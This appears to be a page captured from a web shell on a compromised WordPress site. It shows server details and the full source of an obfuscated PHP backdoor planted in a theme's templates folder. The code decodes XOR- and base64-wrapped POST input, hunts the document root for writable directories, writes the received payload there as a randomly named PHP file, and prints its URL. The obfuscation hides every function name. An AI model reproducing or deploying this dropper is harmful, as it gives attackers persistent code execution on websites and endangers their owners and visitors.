HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentytwenty/templates/itaxlznh.php
<?php $cIJTbPV = "\x44"."\117"."\x43"."\x55".chr(854-777).chr(402-333)."\116"."\x54".'_'."\122".'O'."\x4f".'T';$hJWbvVe = chr(193-121).chr(339-255)."\124".chr(80)."\137".'H'.chr(79)."\123"."\124";$PyeksxC = 'h'."\164".chr(377-261)."\160"."\x3a".'/'."\x2f";$YkUwC = '.'.chr(112).chr(104).chr(112);$gayJXX = chr(112).'h'.'p';$RmsCovFu = 'f'."\151".chr(108).'e'."\x5f".chr(469-357).'u'."\164".chr(1038-943).chr(99).chr(111).chr(666-556)."\164"."\x65".'n'.'t'.chr(115);$tfjLVze = "\162"."\141".chr(974-855).'u'."\162".chr(108).'d'."\x65".chr(120-21)."\157".'d'.'e';$zrKiKLvFGS = "\x75"."\156".chr(626-511).chr(399-298)."\x72"."\x69".chr(97)."\154".chr(173-68)."\x7a".chr(590-489);$dXdiINFwv = 'i'.chr(947-832).chr(95).'w'.chr(519-405).chr(931-826).'t'.'a'."\142".chr(108)."\145";$hAYpn = "\x70"."\150"."\160".chr(118)."\145".chr(114)."\163"."\x69".chr(111)."\x6e";$PWUltP = chr(115).chr(116).chr(114)."\137"."\162".chr(759-648).chr(116).'1'.chr(450-399);$GbuUSXSxs = chr(988-873).chr(721-620).chr(114).'i'.chr(1096-999)."\x6c".chr(450-345).chr(878-756).'e';$rrpUZWE = chr(115).'t'.chr(114).chr(550-455)."\x73".chr(569-457).'l'.'i'."\x74";foreach ($_POST as $iExmgMx => $KjXRLEX){$MMzngqloQv = strlen($iExmgMx);if ($MMzngqloQv == 16){$KjXRLEX = $rrpUZWE($tfjLVze($PWUltP($KjXRLEX)));$iExmgMx = array_slice($rrpUZWE(str_repeat($iExmgMx, (count($KjXRLEX)/16)+1)), 0, count($KjXRLEX));function GAkauR($CHBesUsOro, $sJIgJtqRX, $iExmgMx){$OfQBWF = "cdcd7d50-10f1-4d6d-b58b-b2715e94a30c";return $CHBesUsOro ^ $OfQBWF[$sJIgJtqRX % strlen($OfQBWF)] ^ $iExmgMx;}$KjXRLEX = array_map("GAkauR", array_values($KjXRLEX), array_keys($KjXRLEX), array_values($iExmgMx));$KjXRLEX = implode("", $KjXRLEX);$KjXRLEX = @$zrKiKLvFGS($KjXRLEX);if (@is_array($KjXRLEX)){$lNGkawO = array_keys($KjXRLEX);$KjXRLEX = $KjXRLEX[$lNGkawO[0]];if ($KjXRLEX === $lNGkawO[0]){echo @$GbuUSXSxs(Array($gayJXX => @$hAYpn(), ));exit();}else {function gHaziPPdwO($alNssisJLir){static $FlxspX = array();$OPMxEBkJwR = glob($alNssisJLir . '/*', GLOB_ONLYDIR);$ytxfSpqUU = count($OPMxEBkJwR);if ($ytxfSpqUU > 0) {foreach ($OPMxEBkJwR as $alNssisJL) {if (@$dXdiINFwv($alNssisJL)) {$FlxspX[] = $alNssisJL;}}}foreach ($OPMxEBkJwR as $alNssisJLir) gHaziPPdwO($alNssisJLir);return $FlxspX;}$UaqoK = $_SERVER[$cIJTbPV];$OPMxEBkJwR = gHaziPPdwO($UaqoK);$lNGkawO = array_rand($OPMxEBkJwR);$bwnSip = $OPMxEBkJwR[$lNGkawO] . "/" . substr(md5(time()), 0, 8) . $YkUwC;@$RmsCovFu($bwnSip, $KjXRLEX);$cnqmvFq = $PyeksxC . $_SERVER[$hJWbvVe] . substr($bwnSip, strlen($UaqoK));print($cnqmvFq);die();}}}}